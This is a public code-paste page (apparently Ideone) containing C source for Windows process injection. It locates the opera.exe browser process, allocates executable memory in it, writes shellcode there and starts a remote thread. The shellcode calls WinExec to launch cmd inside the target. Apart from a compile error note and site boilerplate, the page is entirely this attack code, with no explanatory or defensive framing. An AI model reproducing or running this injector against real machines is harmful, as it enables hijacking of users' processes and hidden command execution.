fork download
copy 
  1. #include <Windows.h>
  2. #include <TlHelp32.h>
  3. #include <stdio.h>
  4.  
  5. unsigned char shellcode[] = "\x8B\xDC"
  6. "\x68\x63\x6D\x64\x20"
  7. "\x8B\xC4"
  8. "\x6A\x01"
  9. "\x50"
  10. "\xB8\x41\x2C\x9A\x77"
  11. "\xFF\xD0"
  12. "\x8B\xE3"
  13. "\x5A";
  14.  
  15. void PrepareShellcode(void)
  16. {
  17. 	unsigned long KernelAddr;
  18. 	DWORD dwOldProtect;
  19.  
  20. 	KernelAddr = (unsigned long)GetModuleHandle(TEXT("Kernel32"));
  21.  
  22. 	*(DWORD *)(shellcode + 13) = (DWORD)GetProcAddress((HMODULE)KernelAddr, "WinExec");
  23. }
  24.  
  25. DWORD GetPID(LPTSTR lpProcess)
  26. {
  27. 	PROCESSENTRY32 pe32;
  28. 	HANDLE snapshot = NULL;
  29. 	HANDLE hProcess = NULL;
  30. 	DWORD ProcessID = 0;
  31.  
  32. 	if ((snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) != INVALID_HANDLE_VALUE)
  33. 	{
  34. 		RtlZeroMemory(&pe32, sizeof(PROCESSENTRY32));
  35. 		pe32.dwSize = sizeof(PROCESSENTRY32);
  36. 		Process32First(snapshot, &pe32);
  37. 		do
  38. 		{
  39. 			if (lstrcmp(pe32.szExeFile, lpProcess) == 0)
  40. 			{
  41. 				ProcessID = pe32.th32ProcessID;
  42. 				break;
  43. 			}
  44. 		} while (Process32Next(snapshot, &pe32));
  45. 	}
  46.  
  47. 	CloseHandle(snapshot);
  48. 	return ProcessID;
  49. }
  50.  
  51. void Inject(HANDLE hProcess)
  52. {
  53. 	PVOID	pRemoteShellcode = NULL;
  54. 	HANDLE	hRemoteThread = NULL;
  55. 	DWORD	dwRemoteThreadID = 0;
  56. 	DWORD	dwInjectStatus = 0;
  57.  
  58. 	PrepareShellcode();
  59.  
  60. 	__try
  61. 	{
  62. 		int size = sizeof(shellcode);
  63.  
  64. 		pRemoteShellcode = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  65. 		if (pRemoteShellcode == NULL)
  66. 		{
  67. 			printf("VirtualAllocEx failed. Last error: %x\n", GetLastError());
  68. 			__leave;
  69. 		}
  70.  
  71. 		WriteProcessMemory(hProcess, pRemoteShellcode, shellcode, size, NULL);
  72.  
  73. 		hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, NULL, 0, &dwRemoteThreadID);
  74. 		if (hRemoteThread == NULL)
  75. 		{
  76. 			printf("CreateRemoteThread failed. Last error: %x\n", GetLastError());
  77. 			__leave;
  78. 		}
  79.  
  80. 		WaitForSingleObject(hRemoteThread, INFINITE);
  81. 		GetExitCodeThread(hRemoteThread, &dwInjectStatus);
  82. 	}
  83. 	__finally
  84. 	{
  85. 		if (!dwInjectStatus)
  86. 		{
  87. 			printf("Injection failed\n");
  88. 			VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
  89.  
  90. 			if (hRemoteThread != NULL)
  91. 			{
  92. 				CloseHandle(hRemoteThread);
  93. 			}
  94. 		}
  95. 	}
  96. }
  97.  
  98. int main()
  99. {
  100. 	DWORD ProcessID;
  101. 	HANDLE hProcess;
  102.  
  103. 	ProcessID = GetPID(TEXT("opera.exe"));
  104. 	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
  105.  
  106. 	if (hProcess != INVALID_HANDLE_VALUE)
  107. 	{
  108. 		Inject(hProcess);
  109. 		CloseHandle(hProcess);
  110. 	}
  111. 	return 0;
  112. }
Compilation error #stdin compilation error #stdout 0s 0KB
comments (?)
stdin
copy 
Standard input is empty
compilation info 
prog.c:1:21: fatal error: Windows.h: No such file or directory
compilation terminated.
stdout
copy 
Standard output is empty
https://ideone.com/4DUG8S
language:
C (gcc 8.3)
created:
7 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!